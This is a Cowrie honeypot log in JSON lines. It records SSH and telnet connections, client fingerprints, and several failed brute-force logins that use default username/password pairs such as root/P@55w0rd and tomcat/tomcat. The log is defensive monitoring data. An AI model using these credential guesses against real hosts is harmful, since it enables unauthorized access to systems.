{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:02:45.755948Z","src_ip":"192.109.200.78","session":"c2e0eafad032","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.71.75","src_port":59350,"dst_ip":"159.203.135.109","dst_port":23,"session":"10893fa91244","protocol":"telnet","message":"New connection: 206.189.71.75:59350 (159.203.135.109:23) [session: 10893fa91244]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:02:45.859907Z"}
{"eventid":"cowrie.login.failed","username":"developer","password":"developer","message":"login attempt [developer/developer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:02:46.016428Z","src_ip":"192.109.200.78","session":"c2e0eafad032","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.69894886016846,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:02:46.302136Z","src_ip":"206.189.71.75","session":"1e53d526d48c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:02:47.110895Z","src_ip":"192.109.200.78","session":"c2e0eafad032","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.71.75","src_port":33178,"dst_ip":"159.203.135.109","dst_port":23,"session":"7348d0ac8f90","protocol":"telnet","message":"New connection: 206.189.71.75:33178 (159.203.135.109:23) [session: 7348d0ac8f90]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:02:47.539669Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":33830,"dst_ip":"10.17.0.5","dst_port":22,"session":"9bae12512b03","protocol":"ssh","message":"New connection: 192.109.200.78:33830 (10.17.0.5:22) [session: 9bae12512b03]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:02:49.844227Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:02:49.862010Z","src_ip":"192.109.200.78","session":"9bae12512b03","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:02:49.933786Z","src_ip":"192.109.200.78","session":"9bae12512b03","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"odoo","password":"odoo","message":"login attempt [odoo/odoo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:02:50.255774Z","src_ip":"192.109.200.78","session":"9bae12512b03","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.106547117233276,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:02:50.510864Z","src_ip":"206.189.71.75","session":"55704713a74a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.44328951835632,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:02:50.815767Z","src_ip":"206.189.71.75","session":"09f5efba9c0b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:02:51.339979Z","src_ip":"192.109.200.78","session":"9bae12512b03","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.39689612388611,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:02:51.691851Z","src_ip":"206.189.71.75","session":"f942ebf52701","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.71.75","src_port":36910,"dst_ip":"159.203.135.109","dst_port":23,"session":"e23227e113f8","protocol":"telnet","message":"New connection: 206.189.71.75:36910 (159.203.135.109:23) [session: e23227e113f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:02:52.685699Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":33850,"dst_ip":"10.17.0.5","dst_port":22,"session":"32adf91981a6","protocol":"ssh","message":"New connection: 192.109.200.78:33850 (10.17.0.5:22) [session: 32adf91981a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:02:53.930305Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:02:53.935114Z","src_ip":"192.109.200.78","session":"32adf91981a6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:02:54.022052Z","src_ip":"192.109.200.78","session":"32adf91981a6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nvidia","password":"nvidia","message":"login attempt [nvidia/nvidia] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:02:54.285942Z","src_ip":"192.109.200.78","session":"32adf91981a6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:02:55.371835Z","src_ip":"192.109.200.78","session":"32adf91981a6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":43464,"dst_ip":"10.17.0.5","dst_port":22,"session":"7b2c72ce387c","protocol":"ssh","message":"New connection: 192.109.200.78:43464 (10.17.0.5:22) [session: 7b2c72ce387c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:02:58.147618Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:02:58.152474Z","src_ip":"192.109.200.78","session":"7b2c72ce387c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:02:58.235158Z","src_ip":"192.109.200.78","session":"7b2c72ce387c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sftpuser","password":"sftpuser","message":"login attempt [sftpuser/sftpuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:02:58.485776Z","src_ip":"192.109.200.78","session":"7b2c72ce387c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:02:59.571506Z","src_ip":"192.109.200.78","session":"7b2c72ce387c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.71.75","src_port":42872,"dst_ip":"159.203.135.109","dst_port":23,"session":"ee01bff9db46","protocol":"telnet","message":"New connection: 206.189.71.75:42872 (159.203.135.109:23) [session: ee01bff9db46]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:03:01.438591Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":43474,"dst_ip":"10.17.0.5","dst_port":22,"session":"0ddf5f227c8e","protocol":"ssh","message":"New connection: 192.109.200.78:43474 (10.17.0.5:22) [session: 0ddf5f227c8e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:03:02.352623Z"}
{"eventid":"cowrie.session.closed","duration":34.86983680725098,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:03:02.384091Z","src_ip":"206.189.71.75","session":"8a8cf60873fe","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.71.75","src_port":42874,"dst_ip":"159.203.135.109","dst_port":23,"session":"68ac30180489","protocol":"telnet","message":"New connection: 206.189.71.75:42874 (159.203.135.109:23) [session: 68ac30180489]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:03:02.438146Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:03:02.448372Z","src_ip":"192.109.200.78","session":"0ddf5f227c8e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:03:02.452379Z","src_ip":"192.109.200.78","session":"0ddf5f227c8e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@55w0rd","message":"login attempt [root/P@55w0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:03:03.093618Z","src_ip":"192.109.200.78","session":"0ddf5f227c8e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.71.75","src_port":44588,"dst_ip":"159.203.135.109","dst_port":23,"session":"2a4c7c259e92","protocol":"telnet","message":"New connection: 206.189.71.75:44588 (159.203.135.109:23) [session: 2a4c7c259e92]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:03:04.005687Z"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:03:04.177928Z","src_ip":"192.109.200.78","session":"0ddf5f227c8e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.284913301467896,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:03:04.862162Z","src_ip":"206.189.71.75","session":"57e484953616","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":43494,"dst_ip":"10.17.0.5","dst_port":22,"session":"a6732ea66679","protocol":"ssh","message":"New connection: 192.109.200.78:43494 (10.17.0.5:22) [session: a6732ea66679]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:03:06.560130Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:03:06.564612Z","src_ip":"192.109.200.78","session":"a6732ea66679","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:03:06.646529Z","src_ip":"192.109.200.78","session":"a6732ea66679","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tomcat","password":"tomcat","message":"login attempt [tomcat/tomcat] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:03:06.913524Z","src_ip":"192.109.200.78","session":"a6732ea66679","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.77899718284607,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:03:06.997641Z","src_ip":"206.189.71.75","session":"e680b2772770","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:03:08.056358Z","src_ip":"192.109.200.78","session":"a6732ea66679","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.71.75","src_port":48406,"dst_ip":"159.203.135.109","dst_port":23,"session":"e26993de8ae6","protocol":"telnet","message":"New connection: 206.189.71.75:48406 (159.203.135.109:23) [session: e26993de8ae6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:03:09.190480Z"}
{"eventid":"cowrie.session.closed","duration":36.327813148498535,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:03:10.622702Z","src_ip":"206.189.71.75","session":"a75e46ac14e7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":44630,"dst_ip":"10.17.0.5","dst_port":22,"session":"a69db691690a","protocol":"ssh","message":"New connection: 192.109.200.78:44630 (10.17.0.5:22) [session: a69db691690a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:03:10.854202Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:03:10.859287Z","src_ip":"192.109.200.78","session":"a69db691690a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:03:10.943494Z","src_ip":"192.109.200.78","session":"a69db691690a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.71.75","src_port":49736,"dst_ip":"159.203.135.109","dst_port":23,"session":"ecd8bd36f630","protocol":"telnet","message":"New connection: 206.189.71.75:49736 (159.203.135.109:23) [session: ecd8bd36f630]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:03:11.149595Z"}
{"eventid":"cowrie.session.closed","duration":36.12979292869568,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:03:11.374161Z","src_ip":"206.189.71.75","session":"1cc61568c872","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.71.75","src_port":49994,"dst_ip":"159.203.135.109","dst_port":23,"session":"3b3812ab836c","protocol":"telnet","message":"New connection: 206.189.71.75:49994 (159.203.135.109:23) [session: 3b3812ab836c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:03:11.563852Z"}
